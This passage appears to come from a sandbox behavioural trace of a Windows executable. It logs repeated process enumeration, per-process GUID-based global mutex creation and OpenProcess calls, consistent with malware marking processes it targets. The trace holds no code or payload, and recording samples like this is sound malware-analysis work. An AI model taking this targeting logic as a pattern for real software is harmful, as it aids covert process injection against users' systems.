th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0124.263] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0124.264] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0124.265] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0124.266] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.266] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0124.267] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0124.267] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x568 [0124.267] GetLastError () returned 0xb7 [0124.267] CloseHandle (hObject=0x568) returned 1 [0124.267] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 1 [0124.268] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 0 [0124.269] CloseHandle (hObject=0x6cc) returned 1 [0124.269] WaitForSingleObject (hHandle=0x67c, dwMilliseconds=0x64) returned 0x102 [0124.371] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x56c [0124.373] Process32FirstW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0124.374] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0124.375] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0124.376] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0124.376] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0124.377] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0124.378] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0124.379] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0124.380] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0124.381] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0124.381] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.382] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.383] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.384] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.385] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.386] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0124.386] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.387] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.388] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0124.389] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.390] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0124.391] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0124.391] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0124.391] GetLastError () returned 0xb7 [0124.391] CloseHandle (hObject=0x6cc) returned 1 [0124.391] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0124.392] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0124.392] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0124.392] GetLastError () returned 0xb7 [0124.392] CloseHandle (hObject=0x6cc) returned 1 [0124.392] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0124.392] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0124.393] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0124.393] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0124.393] GetLastError () returned 0x0 [0124.393] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0124.393] CloseHandle (hObject=0x6cc) returned 1 [0124.393] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0124.394] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0124.394] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0124.394] GetLastError () returned 0x0 [0124.394] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0124.394] CloseHandle (hObject=0x6cc) returned 1 [0124.394] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0124.395] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0124.395] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0124.395] GetLastError () returned 0xb7 [0124.395] CloseHandle (hObject=0x6cc) returned 1 [0124.395] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0124.396] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0124.396] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x6cc [0124.396] GetLastError () returned 0x0 [0124.396] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0124.396] CloseHandle (hObject=0x6cc) returned 1 [0124.396] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0124.397] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0124.398] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0124.399] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0124.399] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0124.400] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0124.401] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0124.402] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0124.403] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0124.404] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0124.404] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0124.405] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0124.406] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0124.407] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0124.408] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0124.408] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0124.409] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0124.410] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0124.411] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0124.411] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0124.412] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0124.413] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.414] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0124.415] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.416] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0124.416] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0124.417] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0124.419] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0124.419] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0124.420] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.421] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0124.422] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0124.422] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0124.422] GetLastError () returned 0xb7 [0124.422] CloseHandle (hObject=0x6cc) returned 1 [0124.422] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, 